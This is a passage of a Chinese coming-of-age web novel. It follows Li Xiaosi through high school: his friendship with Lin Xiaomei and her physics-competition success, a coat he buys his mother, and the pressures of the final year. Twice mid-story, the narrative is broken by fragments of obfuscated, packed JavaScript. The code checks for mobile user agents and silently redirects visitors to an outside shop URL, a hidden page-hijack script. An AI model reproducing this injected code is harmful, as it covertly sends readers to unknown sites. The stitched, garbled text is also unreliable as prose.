李小四笑了。林小美考第一这件事,对他来说已经不是什么新闻了。从初一到高一,从普通班到重点班,她永远是第一。不是因为她比别人聪明,而是因为她比别人努力。她努力的方式不是那种轰轰烈烈的、让人感动的方式,而是安静的、日复一日的、从不间断的方式。每天早起,每天背书,每天做题,每天复习。不偷懒,不抱怨,不放弃。她的努力像一条河,不急不躁,但一直在流。 中午在食堂吃饭的时候,李小四端着餐盘找位置,在角落里看到了林小美。她一个人坐在那里,面前是一份白米饭和一份炒青菜,没有肉。她的餐盘边上放着一本物理竞赛题集,翻开着的,她一边吃饭一边看书,看得很专注,连李小四走到对面都没有察觉。 “林小美。” 她抬起头,合上书。 “你又在吃青菜。”李小四说。 “今天的肉不好吃。”林小美说。 李小四看了看自己的餐盘,今天打了红烧肉和清炒西兰花。他把餐盘往中间推了推,林小美看了一眼,没有夹。他又推了推,她还是没夹。他夹了一块红烧肉,放在她的米饭上,说:“帮我吃一块,太多了,我吃不完。” 林小美看着那块肉,犹豫了一下,夹起来放进嘴里,慢慢地嚼。 “好吃吗?”李小四问。 “还行。” 李小四笑了。他低头吃饭,吃了几口,想起一件事。“林小美,你物理竞赛准备得怎么样了?” “还行。四月初初赛,不知道能不能过。” “你一定能过。” “你怎么知道?” “因为你做什么都能成。” 林小美看了他一眼,眼神里有一种说不清的东西。不是感动,不是不好意思,而是一种更安静的、更深的东西——像春天的河水,表面平静,但底下有暗流。 “李小四,”她说,“你最近物理进步很大。周老师跟我说,你这次月考物理考了八十六,比上学期期末进步了四分。” “周老师跟你说了?” “嗯。他问我认不认识你,我说认识,初中就认识。他说你是个肯学的学生,就是基础不够扎实,但只要坚持,会越来越好。” 李小四低头扒了一口饭,没有说话。他的心跳有点快,不是因为紧张,而是因为周老师在他不知道的地方,跟别人说起他的时候,用的是“肯学”这个词。不是“聪明”,不是“有天赋”,是“肯学”。这个词比“聪明”重得多,因为聪明是天生的,肯学是自己的选择。 吃完饭,他们从食堂出来,经过操场边的那排银杏树。银杏树已经发芽了,光秃秃的枝干上冒出了嫩绿色的芽,小小的,嫩嫩的,像刚从壳里探出头的小鸟。再过几个月,这些芽会变成叶子,叶子会变绿,变黄,然后落下来。一年又一年,周而复始。 “树又活了。”林小美说。 “它们每年都活。” “人也是。每年都活,每年都不一样。” 李小四看着那些嫩芽,觉得林小美说得对。人也是每年都活,每年都不一样。去年这个时候,他还在初三的教室里做卷子,每天被中考倒计时压得喘不过气。今年这个时候,他在高中的食堂里吃饭,跟林小美讨论物理竞赛和银杏树。明年这个时候,他会在哪里?他不知道,但他知道,不管在哪里,他都会活着,都会不一样。 四月初,物理竞赛初赛。 考场设在县一中,全县几所高中的学生都来参加,把教学楼挤得满满当当的。李小四不是参赛选手——他的物理成绩还不够好,周老师没有推荐他。林小美是参赛选手,她在一班的教室里考试,考场门口贴着她的名字和座位号。 考试那天早上,李小四在校门口等她。 “紧张吗?”他问。 “不紧张。”林小美说,但她的手在微微发抖。她把手插进口袋里,不让他看到。 “你一定能过。”李小四说。 “你怎么又说这句话?” “因为我说的是真的。” 林小美看了他一眼,嘴角弯了一下,然后转身走进了考场。她的背影在教学楼的走廊里越来越小,马尾辫在脑后一甩一甩的,像一面小小的旗帜。李小四站在校门口,看着她的背影消失,然后转身走向自己的教室。 他在四班的教室里坐了一上午,心里一直在想林小美考得怎么样了。他知道自己不应该这样,应该专心听课,但脑子不听话,总是不由自主地想到她在考场里做题的样子——眉头微皱,嘴唇抿成一条线,笔尖在纸上飞快地移动,草稿纸写满了一张又一张。 中午,林小美从考场出来的时候,李小四已经在考场门口等着了。 “考得怎么样?”他问。 “还行。选择题有两道不太确定,大题做出来了,不知道对不对。” “那就行了。” “什么叫‘那就行了’?” “就是不管过不过,你都尽力了。” 林小美看着他,沉默了几秒钟,然后笑了。那个笑容不是她平时那种淡淡的、礼貌性的微笑,而是一种真正的、发自心底的、带着温度的笑。她笑起来的时候,眼睛弯弯的,嘴角往上翘,整个人像春天的阳光,不热烈,但足够暖。 “走吧,请我吃烤肠。”她说。 “你不是不让我请吗?” “今天让了。” 他们在学校门口的烤肠摊前站着,一人拿着一根烤肠,刷了辣椒酱,咬一口,满嘴香。四月的风暖暖的,吹在脸上很舒服,烤肠的热气在风里散得很快,但嘴里还是热的。 “林小美,你说你会不会过?”李小四问。 “不知道。但不管过不过,我都要继续学物理。” “为什么?” “因为喜欢。” 李小四嚼着烤肠,看着远处的天空。天很蓝,云很白,一架飞机从云层里穿出来,拖着一条长长的白色尾巴,慢慢地从天空的这一头飞到那一头。他看着那架飞机,想起去年这个时候,他还在初三的教室里,每天做题做到半夜,不知道自己能不能考上一中。现在他坐在一中的门口,吃着烤肠,跟林小美说着话,等着物理竞赛的结果。一年,真的可以发生很多事。 “林小美,你说一年后的今天,我们会在哪里?” 林小美想了想:“在考试。高二下学期,应该也在考试。” “你就不能想点别的?” “比如?” “比如我们会在什么地方,做什么事。” 林小美沉默了一会儿,说:“也许还在这个烤肠摊前,吃着烤肠,说着话。” 李小四笑了。他觉得这个答案很好,好到他希望它真的能实现。一年后,两年后,三年后,他们还能站在这个烤肠摊前,一人一根烤肠,刷上辣椒酱,咬一口,满嘴香。风吹过来,把烤肠的热气吹散,但嘴里的味道还在,心里的温度还在。 竞赛初赛的成绩在四月中旬出来了。 林小美过了,全县第三,进入了复赛。消息是周老师在课上说的,他说的时候语气很平淡,但李小四听出了那平淡底下藏着的骄傲。他掏出手机,给林小美发了一条消息:“你过了。” “嗯,过了。”林小美回。 “我说过你一定能过。” “你每次都说对了。” “因为我说的都是真的。” 李小四把手机揣进口袋里,坐在座位上,发了好一会儿呆。他在想,林小美要是进了复赛,要是再进了决赛,要是拿了奖,就能保送好的大学。她想去省师范大学,但以她的成绩,她可以去更好的。也许她不用为了照顾奶奶而放弃更好的机会,也许她可以一边上好大学一边照顾奶奶——坐火车来回,周末回家,平时打电话。虽然累一些,但也不是不可能。 他想把这话告诉她,但想了想,没有说。她有她自己的选择,他不能替她选,也不能替她想。他能做的,就是在她说出选择的时候,说一句“我支持你”。 四月底的一个傍晚,李小四放学回家,看到爸爸坐在沙发上,手里拿着一张纸,正在看。他的表情很专注,眉头微皱,嘴角微微上翘,看起来像是在看什么重要的东西。 “爸,看什么呢?” “厂里的通知。”爸爸把纸递给他,“五一放假三天,问谁愿意值班。值班有加班费,一天两百。” “你值吗?” “值。三天六百,够给你妈买件新衣服了。” 李小四看着爸爸。他的头发又白了一些,鬓角的白发比以前多了,但他的眼睛里有光。那种光不是年轻时候那种意气风发的光,而是一种更沉静的、踏踏实实的光。那种光不是“我要做大事”的光,而是“我能养家”的光。 “爸,你别太累了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444085|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不累。”爸爸把通知折好,放进口袋里,“比以前跑长途轻松多了。以前一天开十几个小时的车,腰都直不起来。现在在厂里修车,坐着的时候多,不累。” 李小四想说“你腰不好,少干点重活”,但他没有说。他知道爸爸不会听。爸爸这个人,一辈子都在干活,你让他不干,他反而难受。他不是为了钱,是为了有事做,为了觉得自己有用。 “爸,我妈想要什么新衣服?” 爸爸想了想:“她上次路过商场,看中了一件红色的外套,试了一下,很好看,但没买。我问她为什么不买,她说太贵了,要三百多。我说三百多就三百多,她说不要。” 李小四记下了这件事。他打算等五一放假,用自己攒的零花钱给妈妈买那件外套。他攒的钱不多,但三百多块还是有的——过年收的红包,平时省下的饭钱,还有上学期期末考得好妈妈奖励的一百块。他把钱放在抽屉里的一个铁盒子里,硬币和纸币混在一起,他数了一下,有四百多块。够了。 五一放假前一天,李小四去了商场。 商场在县城最热闹的那条街上,三楼是女装区,各种牌子的衣服挂得满满当当的。他找到了爸爸说的那家店,在店门口站了一会儿,看着橱窗里的模特。模特穿着一件红色的外套,款式简单,没有太多装饰,但颜色很好看,是那种不张扬的、温润的红。 他走进店里,一个导购走过来,笑着说:“你好,想买什么?” “那件红色的外套,多少钱?” “三百六十八。现在五一活动,打九折,三百三十一。” 李小四摸了摸口袋里的钱,四百多块,够了。“有没有小一码的?我妈比我矮,一米六不到。” 导购找了一件小码的,递给他。他接过来,摸了摸面料,软软的,滑滑的,不知道是什么料子,但摸起来很舒服。他想象妈妈穿上这件衣服的样子——红色的外套,黑色的裤子,头发梳得整整齐齐,站在镜子前,左看右看,嘴角带着笑。 “我买了。”他说。 他把钱从口袋里掏出来,一张一张地数,数了两遍,确认是三百三十一,递给导购。导购把衣服叠好,装进袋子里,递给他。他接过袋子,走出店门,心跳得很快。这是他第一次用自己的钱给妈妈买衣服,不是过节,不是生日,就是一个普通的、四月的傍晚。 回到家,他把袋子放在自己的房间里,没有马上给妈妈。他想等五一那天再给她,算是劳动节的礼物。他把袋子藏在衣柜里,用衣服盖住,怕妈妈打扫卫生的时候看到。 五一那天早上,李小四起得比平时早。他等妈妈从厨房里出来,端着粥放到桌上,然后走进房间,从衣柜里拿出那个袋子,走到客厅。 “妈,这个给你。” 妈妈愣了一下,接过袋子,打开,拿出那件红色的外套。她看着那件衣服,看了好几秒钟,没有说话。她把衣服展开,在身上比了比,大小刚好。 “你买的?”她的声音有点抖。 “嗯。” “哪来的钱?” “攒的。过年红包,平时省下的。” 妈妈把衣服叠好,放回袋子里,然后一把抱住了他。她抱得很紧,紧得他有点喘不过气。他感觉到她的肩膀在抖,听到她压抑的哭声,一下一下的,像心脏在跳。 “妈,你别哭了。” “妈没哭。”妈妈的声音闷在他肩膀上,“妈高兴。” 李小四拍了拍妈妈的背,像小时候妈妈拍他一样。他想起很小的时候,妈妈也是这样抱着他,拍着他的背,说“没事,妈妈在”。那时候他觉得妈妈的怀抱是全世界最安全的地方。现在他长大了,比妈妈高了,妈妈的怀抱变小了,但还是那个最安全的地方。 爸爸从房间里走出来,看到妈妈在哭,愣了一下。他看到李小四手里的袋子,又看了看妈妈手里的衣服,好像明白了什么。他走过来,拍了拍妈妈的肩膀,说:“儿子长大了,知道疼妈了,你哭什么?” 妈妈擦了擦眼泪,笑了。那个笑容不是她平时那种“我没事”的坚强笑容,而是真正的、从心底里溢出来的笑。她的眼角有细纹,但那些细纹在这个笑容里不是衰老的痕迹,而是岁月的礼物。 “我去做饭。”妈妈把衣服放好,走进厨房,围上围裙,开始切菜。她的背影在厨房的灯光里显得很柔和,肩膀不再那么紧绷了,手也不抖了。 李小四站在客厅里,看着妈妈的背影,觉得这个春天,他做了一件对的事。不是大事,是一件小事。但小事也有小事的重量,小事也能让人心里满满的。 他回到房间,坐在书桌前,翻开笔记本,写下了今天的日期,然后在下面写了一行字:“给妈妈买了那件红色的外套。她哭了。我也差点哭了。” 写完之后,他合上笔记本,放进抽屉里,跟那些旧的本子放在一起。他站起来,走到窗前,拉开窗帘。窗外的阳光很好,照在对面楼的墙上,反射出一片温暖的光。远处的树全绿了,春天的树是那种嫩嫩的、透亮的绿,像刚洗过一样。 他看着那些树,觉得这个春天很好。不是因为发生了什么大事,而是因为那些小事——爸爸值班赚了六百块,妈妈收到了红色外套,林小美通过了物理竞赛初赛,大壮在学空调维修,他自己月考进步了。这些小事像春天的嫩芽,一个一个地冒出来,小小的,嫩嫩的,不起眼,但它们在生长。 它们会一直生长。 36. 高三开始 高三开学那天,是八月的最后一天。 太阳还很大,晒得人睁不开眼,但风吹在脸上已经不烫了,带着一丝若有若无的凉意,像在预告什么。李小四穿着那件洗得发白的校服,背着书包走进校门,看到教学楼门口挂起了一条红色横幅——“拼搏高三,圆梦六月”。八个大字,每个字都写得端端正正,一笔一划,像是在宣示一件不容商量的事。 他站在横幅下面看了几秒钟,然后走进了教学楼。 教室搬到了五楼。学校有个不成文的规矩,高三的教室要在最高层,离操场最远,离食堂最远,离校门最远。好像把高三的学生放在高处,就能离尘世远一些,就能更专注地学习。李小四爬了五层楼,站在走廊上往下看,操场上的学生小得像蚂蚁,在跑道上慢慢地移动。他看了一会儿,觉得那个高度不只是物理意义上的高度,也是一种象征——你站得高了,就能看得远,但也要承受高处的不胜寒。 教室里的桌椅换了一批,不是新的,是旧的,但比以前的整齐一些。黑板上写着“距高考还有280天”,粉笔字写得很大,用的是红色粉笔,加粗了,看起来触目惊心。李小四盯着那个数字看了好一会儿,想起三年前,马老师在黑板上写下“距中考还有289天”,那时候他觉得时间还多,觉得一切都可以慢慢来。现在他知道,时间不会等你,不管你准没准备好,它都会走。 他找到自己的座位,靠窗第三排,阳光从窗户照进来,落在他桌角上,照出一个明亮的光斑。他坐下了,把书包放在桌上,拉开拉链,把课本和笔袋拿出来,整整齐齐地摆好。他的同桌还是许哲,那个戴黑框眼镜、看物理竞赛书的男生。许哲已经在了,面前摊着一本很厚的物理参考书,正在看,眉头微皱,表情专注,连李小四来了都没有抬头。 “许哲。”李小四叫他。 许哲抬起头,推了推眼镜:“嗯?” “高三了。” “嗯。” “你有什么感觉?” 许哲想了想,说了四个字:“时间不够。” 李小四没有接话。他转过头,看着窗外。天很蓝,云很白,远处的树全绿了,风吹过来,树叶哗哗地响。他看着那些树叶,觉得时间确实不够。高一的时候觉得三年很长,高二的时候觉得两年不短,现在到了高三,回头看,那两年像一阵风,还没抓住就吹过去了。剩下的这二百八十天,也会像风一样,吹过去就没了。 班主任还是周老师。他走进教室的时候,穿着一件深蓝色的polo衫,头发比上学期更乱了一些,像是刚从床上爬起来的样子。他走上讲台,把那沓厚厚的资料放在桌上,发出一声沉闷的响动。然后他抬起头,目光扫过全班,沉默了大概五秒钟。 “你们是高三的学生了。”他说,声音不大,但很沉,像从胸腔里挤出来的,“高三意味着什么,不用我说,你们都知道。刷题、考试、排名、压力、焦虑、失眠,这些都会来。有些人扛得住,有些人扛不住。扛得住的,去好大学;扛不住的,去一般的大学。” 他停了一下,目光又扫了一遍全班。 “但我想告诉你们,不管扛得住扛不住,你们都还年轻。高考不是终点,只是一个路口。考好了,往前走;没考好,也能往前走。路有很多条,条条都通到很远的地方。” 教室里很安静,安静到能听到日光灯嗡嗡的声音。 “我说完了。从今天起,你们是高三的学生了。对自己负责,对时间负责。” 他说完,翻开资料,开始讲课。 高三的日子,从第一天就不一样了。 课表的密度比以前大了,每节课的容量也比以前大了。老师不再像以前那样讲得很细,而是用一种“你们应该都会了”的节奏在推进。王老师的数学课,一节课讲了三张卷子的重点题型,板书写得飞快,粉笔在黑板上噼里啪啦地响,像放鞭炮。李小四拼命地记笔记,笔尖在纸上飞快地移动,字迹潦草到他自己都不认识,但他不敢停下来,停下来就跟不上了。 下课铃响的时候,教室里没有人站起来。以前高一高二的时候,下课铃一响,大家就往外冲,去厕所、去走廊、去小卖部。现在下课铃响了,大部分人还坐在座位上,有的在整理笔记,有的在做题,有的趴在桌上补觉。没有人说话,没有人打闹,没有人浪费时间。 李小四也趴在桌上补了一会儿觉。他昨晚做数学卷子做到十一点半,早上六点就起了,困得不行。他趴了十分钟,闹钟响了——他自己设的,十分钟的闹钟。他抬起头,揉了揉眼睛,灌了一口水,翻开英语单词书,开始背单词。 一千六百个核心词汇他已经背完了,现在背的是高考考纲词汇,三千五百个。他计划在高三上学期背完,每天背三十个,复习三十个。他把单词写在卡片上,一面英文一面中文,装在口袋里,课间、排队、上厕所的时候,随时随地掏出来看。 中午在食堂吃饭的时候,李小四端着餐盘找位置。食堂里坐满了人,大部分是高三的,因为高三的放学时间比高一高二晚十分钟。他转了一圈,在角落里看到了林小美。她一个人坐在那里,面前是一份白米饭和一份炒豆芽,没有肉。她的餐盘边上放着一本英语词汇书,翻开着的,她一边吃饭一边看书,看得很专注。 李小四走过去,在她对面坐下。 “林小美。” 她抬起头,合上书。 “你又在吃豆芽。”李小四说。 “豆芽便宜。”林小美说,语气很平淡,好像在说一件很普通的事。 李小四看了看自己的餐盘,今天打了红烧鸡块和清炒西兰花。他把餐盘往中间推了推,林小美看了一眼,没有夹。他又推了推,她还是没夹。他夹了一块鸡腿肉,放在她的米饭上,说:“帮我吃一块,太多了,我吃不完。” 林小美看着那块鸡肉,犹豫了一下,夹起来放进嘴里,慢慢地嚼。 “好吃吗?”李小四问。 “还行。” “你就不能换个词?” “味道不错。” 李小四笑了。他低头吃饭,吃了几口,想起一件事。“林小美,你物理竞赛复赛什么时候?” “九月中旬。还有两个星期。” “准备得怎么样了?” “还行。做了一些题,有些还是不会。” “你一定能过。” “你每次都这么说。” “因为我每次都对了。” 林小美白了他一眼,低下头继续吃饭。但她的嘴角弯了一下,那个弧度很小,小到不仔细看就看不到。 高三的第一次月考在九月中旬。这次月考跟以前不一样,题型、难度、时间安排都严格按照高考的标准来。考试前一周,周老师在班上强调了好几次:“一模之前的所有考试,都是练兵。练兵不是看成绩,是找问题。找到问题,解决问题,这才是考试的意义。” 李小四把这句话记在了心里。他不再像以前那样焦虑了,不再在考场上手心出汗、心跳加速。他坐在考场里,拿到试卷,从头到尾看一遍,然后一道一道地做。会的做,不会的先跳过,做完之后再回头想。考试结束铃响的时候,他放下笔,把试卷翻过来看了一眼,卷面上写满了字,密密麻麻的。他不知道能考多少分,但他知道,他已经做了自己能做的所有事。 成绩出来那天是个周五。周老师把成绩单贴在了公告栏上,李小四挤过去,找到自己的名字。班级第十一名,比上学期期末进步了两名。物理八十八,数学九十三,英语八十三,每一科都比上次高了一点,不多,一分两分,但每一科都高了。 他看着那些分数,心里有一种踏实的感觉。不是高兴,不是骄傲,而是一种“我在往前走”的确定。步子不大,速度不快,但没有停。 中午在食堂吃饭的时候,他把成绩告诉了林小美。 “我班级十一。” “进步了两名。”林小美说。 “你多少?” “年级第十一。” 李小四愣了一下。年级第十一。不是班级,是年级。全年级六百多人,她考了第十一名。他看着她,她低着头在吃饭,表情很平静,好像在说一件很普通的事。 “林小美,你太厉害了。”他说。 “厉害什么,又不是第一。” “年级第十一已经很厉害了。” “还不够。”林小美抬起头,看着窗外,眼神里有光,那种光是“我知道我要去哪里,我也知道我还没到”的光,“我想考全省前一百。这样才能去最好的师范大学。” 李小四没有说话。他低下头,继续吃饭。他在想,林小美说的“还不够”是什么意思。她不是不满足,而是她知道自己的目标在哪里,也知道自己离那个目标还有多远。她不骗自己,不给自己找借口,不做那种“我已经很好了”的自我安慰。她只是看着那个目标,然后继续走。 这就是林小美。从初一到高三,她一直是这样。 九月底,物理竞赛复赛。 考场在省城,林小美提前一天坐火车去了。她走的那天是周五,李小四去送她。他们站在火车站门口,林小美背着一个双肩包,手里拎着一个塑料袋,里面装着面包和水。她穿着一件灰色的卫衣,头发扎成低马尾,围着那条灰色的围巾,围巾很长,在胸前绕了一圈又绕了一圈,还是拖出来一截。 “紧张吗?”李小四问。 “不紧张。”林小美说,但她的手在微微发抖。她把手指插进口袋里,不让他看到。 “你一定能过。” “你每次都说这句话。” “因为我说的是真的。” 林小美看着他,沉默了几秒钟,然后笑了。那个笑容不是她平时那种淡淡的、礼貌性的微笑,而是一种真正的、发自心底的、带着温度的笑。她笑起来的时候,眼睛弯弯的,嘴角往上翘,整个人像秋天的阳光,不热烈,但足够暖。 “我走了。”她说。 “到了给我发消息。” “好。” 她转身走进候车室,背影在人群中越来越小,灰色的卫衣,灰色的围巾,双肩包,马尾辫。李小四站在火车站门口,看着她的背影消失在人流里,然后转身走了。 他骑电动车回家,一路上脑子里全是林小美。她在考场里的样子,她做题时微微皱起的眉头,她写字的姿势,她翻书的声音。他想到这些的时候,心里有一种说不清的感觉,不是担心,不是紧张,而是一种更安静的、更深的东西——像秋天的河水,表面平静,但底下有暗流。 林小美在省城待了两天。复赛考完了,她说“还行,不算太难,但也不简单”。她说“不知道能不能进决赛,看运气”。她说“省城好大,人好多,楼好高,我有点不习惯”。李小四听着她的语音,觉得她在省城的时候,声音跟平时不一样,带着一种说不清的、像是兴奋又像是疲惫的东西。 十月下旬,复赛成绩出来了。 林小美过了,全省第三十八名,进入了决赛。消息是沈老师告诉李小四的——沈老师从初中部调到了高中部,教高二的语文,不在他们年级,但消息灵通。她在走廊上遇到李小四,说了一句“林小美物理竞赛进了决赛,你知道吗”。李小四说“不知道”,沈老师说“全省第三十八,很厉害了”。 李小四掏出手机,给林小美发了一条消息:“你过了。全省三十八。” 过了几分钟,林小美回:“嗯。” “你不高兴?” “高兴。但决赛更难。全省前二十才能保送。” “你一定能进前二十。” “你又来了。” “因为我说的是真的。” 李小四把手机揣进口袋里,站在走廊上,看着远处的天空。天很高,云很淡,一架飞机从云层里穿出来,拖着一条长长的白色尾巴,慢慢地从天空的这一头飞到那一头。他看着那架飞机,想着林小美在省城的样子——她坐在考场里,面对着那些她从来没有见过的难题,咬着嘴唇,皱着眉头,一步一步地推导。他不知道她能不能进前二十,但他知道,不管进不进,她都会继续走。因为她就是那样的人。 十一月的第一场雨,下了一整天。 雨不大,细细密密的,像筛子筛过的面粉,落在脸上凉丝丝的。李小四没有带伞,把校服帽子扣在头上,快步走进教学楼。帽子上全是水,他把帽子摘下来抖了抖,挂在桌角上晾着。 高三的日子,一天一天地过着,像流水线上的零件,一个一个地过去,看起来都一样,但每一个都有每一个的纹理。早上六点起床,背单词,上学,上课,做操,上课,午饭,午休,上课,自习,放学,晚饭,晚自习,做作业,复习,睡觉。每一天的流程几乎一模一样,像一条被反复走过的路,走得多了,路上有几块砖、几道缝、几颗松动的石子,闭着眼睛都能说出来。 但这条路上的风景并不是一成不变的。有时候是清晨的阳光照在课桌上,把木纹照得发亮。有时候是傍晚的夕阳从窗户照进来,把整间教室染成橘红色。有时候是林小美放在他桌上的一个橘子,橙黄橙黄的,带着几片绿色的叶子。有时候是许哲递过来的一张纸条,上面写着一道物理题的解题思路,字迹潦草,但每一步都写得很清楚。 这些小小的、不起眼的瞬间,像路上的路标,告诉他:你还在走,你没有停。 十一月中旬,林小美去省城参加物理竞赛决赛。 这次走了三天。第一天报到,第二天考试,第三天面试。她走之前,李小四在校门口等她。她穿着那件白色的羽绒服,头发扎成高马尾,背着那个深蓝色的帆布书包。书包的边角已经磨得很破了,有些地方露出了白色的经纬线,但她一直没有换。 “这次真的不紧张了。”林小美说。 “我不信。” “真的。因为我知道我尽力了。不管结果怎么样,我都不会后悔。” 李小四看着她。她的表情很平静,眼神里有光,那种光是“我知道我在做什么,我也知道我为什么这么做”的光。不是自信,不是笃定,而是一种更深的、扎根在骨头里的东西——她努力过了,她不会后悔。 “那就行。”李小四说。 “我走了。” “到了给我发消息。” “好。” 她转身走进候车室,背影在人群中越来越小。白色的羽绒服,深蓝色的书包,高马尾。李小四站在火车站门口,看着她的背影消失,然后转身走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444086|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他骑电动车回家,路上经过那排银杏树。银杏叶已经黄了,金黄金黄的,在风里哗哗地响,有些落下来了,铺在地上,像一条金色的地毯。他停下车,站在树下,仰头看着那些叶子。它们在阳光下闪闪发亮,像一片片小小的金箔。 他掏出手机,拍了一张照片,发给林小美。配了一行字:“银杏黄了,等你回来看。” 林小美没有马上回。她在火车上,信号不好。过了大概一个小时,她才回了一条消息:“看到了。等我回来。” 李小四把手机揣进口袋里,骑上电动车,继续往家开。风从耳边吹过,带着银杏叶的气息和初冬的凉意。他想,林小美在省城,他在县城,两个人隔着几百公里,但他们在看同一种树,在同一片天空下。这个想法让他觉得他们之间的距离没有那么远了。 三天后,林小美回来了。 她到县城的时候是下午,李小四去车站接她。她走出出站口,穿着那件白色的羽绒服,背着那个深蓝色的书包,手里拎着一个塑料袋,里面装着几本书。她的脸上有一种疲惫的、但眼睛很亮的光。 “怎么样?”李小四问。 “还行。笔试考得一般,面试还行。” “能进前二十吗?” “不知道。等成绩吧。” 他们走出车站,在路边拦了一辆三轮车。林小美坐在车上,看着窗外的街道,看了很久,没有说话。 “县城没变。”她说。 “三天能变什么?” “也是。”她笑了,“但在省城待了三天,觉得县城好小。楼矮,路窄,人少。” “你喜欢大的地方还是小的地方?” 林小美想了想:“小的。大的地方太大,容易迷路。” 李小四觉得这个答案很林小美。她不喜欢迷路,不喜欢不确定,不喜欢不知道自己在哪里。她喜欢小的、熟悉的、能掌控的地方。这跟她选择省师范大学、选择回县城当老师是一脉相承的——她知道自己在做什么,也知道自己为什么这么做。 三轮车停在了学校门口。他们下了车,站在校门口,看着那扇熟悉的大门。门卫大爷正在看报纸,看到他们,抬起头,点了点头,又低下头继续看。 “我请你吃烤肠。”林小美说。 “你不是应该请我吗?你去省城参加决赛,应该你请。” “那你也去参加一个决赛,我就请你。” 李小四无话可说。他们走到烤肠摊前,一人买了一根烤肠,刷上辣椒酱,咬一口,满嘴香。十一月的风吹在脸上凉飕飕的,但烤肠的热气从嘴里一直暖到心里。 “林小美,你说你要是进了前二十,保送师范大学,你还会参加高考吗?” 林小美想了想:“会。我想知道自己的水平。不考一次,不知道自己能考多少分。” “你就不怕考砸了?” “考砸了也是我的分数。我不怕。” 李小四嚼着烤肠,看着远处的天空。天快黑了,西边的云被夕阳染成了橘红色,一层一层的,像一幅油画。他看着那片天空,觉得林小美这个人跟他不一样。他怕考砸,怕失败,怕让人失望。她不怕。不是因为她比她强,而是因为她的眼睛一直盯着那个目标,不会被路上的坑坑洼洼绊住。他的眼睛也会盯着目标,但他的余光总在看那些坑洼,总在担心自己会掉进去。 也许他应该学学她。少看坑洼,多看前面。 决赛成绩在十二月出来了。 林小美全省第十七名,进入了国家集训队。消息是周老师在课上说的,他说的时候语气还是很平淡,但李小四听出了那平淡底下藏着的骄傲。他掏出手机,给林小美发了一条消息:“你进了。全省十七。” 过了几分钟,林小美回:“嗯。” “你保送了吗?” “嗯。省师范大学物理系。他们给我打电话了。” 李小四看着这行字,心里涌起一种说不清的感觉。不是高兴,不是失落,而是一种复杂的、混杂着多种情绪的东西。他为她高兴,她终于去了她想去的大学。但他也有一丝说不清的失落——她保送了,不用参加高考了,不用跟他一起在考场上拼搏了。她提前到了终点,而他还要继续跑。 “你高兴吗?”他问。 “高兴。但也很复杂。” “为什么复杂?” “因为不用高考了,反而觉得少了什么。三年的目标,忽然没了,不知道接下来该做什么。” 李小四理解这种感觉。就像跑马拉松,跑了很久,忽然告诉你终点到了,不用跑了。你停下来,发现腿还在动,心还在跳,但已经没有跑道了。那种感觉不是失落,是一种突然失去方向的茫然。 “那你接下来做什么?”他问。 “继续学物理。大学的东西,提前看看。还可以帮你补课。” “你保送了还要帮我补课?” “你不想我帮你补?” “想。” 李小四笑了。他把手机揣进口袋里,坐在座位上,发了好一会儿呆。他在想,林小美保送了,不用参加高考了,但他们还在同一个学校,还在同一片天空下。她还会在奶茶店里等他,还会给他讲物理题,还会把橘子放在他的桌上。这些不会变。 十二月下旬,下了一场雪。 雪不大,薄薄的一层,铺在操场上、屋顶上、树梢上,把整个世界变成了一片白色。课间的时候,很多人跑到操场上打雪仗、堆雪人。李小四也去了,他跟刘洋打了一会儿雪仗,被砸了好几下,脖子里面灌进了雪,凉得他直跳。 他走到操场边的那排银杏树下,看到林小美一个人站在那里。她穿着一件白色的羽绒服,围着那条灰色的围巾,正在看树上的雪。银杏叶早就落光了,光秃秃的枝丫上积了一层薄薄的雪,在阳光下闪着细碎的光。 “你怎么不去打雪仗?”李小四问。 “不喜欢。”林小美说。 “那你喜欢什么?” “喜欢看雪。” 李小四站在她旁边,也看着那些雪。雪很白,很干净,像是从来没有被碰过。他想起初一那年冬天,林小美在花坛边捏了五个小雪球,整整齐齐地排在台子上,用两颗黑色的纽扣做眼睛,用一截枯树枝做鼻子。那个雪人很小,很笨拙,但很认真。 “林小美,你还记得初一那个雪人吗?” “记得。” “你后来再也没有堆过雪人。” “因为后来没下过这么大的雪。” 李小四看着她。她的侧脸在雪光里显得很柔和,睫毛上沾着细小的雪花,鼻尖冻得有点红。她看着那些雪,表情很平静,眼神里有一种他形容不出的东西——像是怀念,又像是满足。 “林小美,你保送了,明年还来学校吗?” “来。在家也没事做。来学校看看书,帮你补补课。” “那你还是每天来?” “每天来。” 李小四笑了。他看着那些雪,觉得这个冬天不会太冷。不是因为雪不够大,而是因为有人会来。有人会在奶茶店里等他,有人会把橘子放在他的桌上,有人会在操场边的那排银杏树下看雪。这些“有人”让冬天变短了,让春天来得更快了。 37. 备战高考 高三的下学期,来得比往年都早。 正月初八,当高一高二的学生还在享受寒假最后几天的慵懒时,高三的教学楼已经灯火通明。李小四走进校门的时候,天还没亮透,东边的天空是一种淡淡的灰蓝色,像洗了太多次的牛仔裤。教学楼五楼的窗户里透出白色的灯光,一格一格的,像棋盘。他抬头看着那些窗户,心里涌起一种说不清的感觉——不是紧张,不是焦虑,而是一种“大家都在,我也在”的踏实。 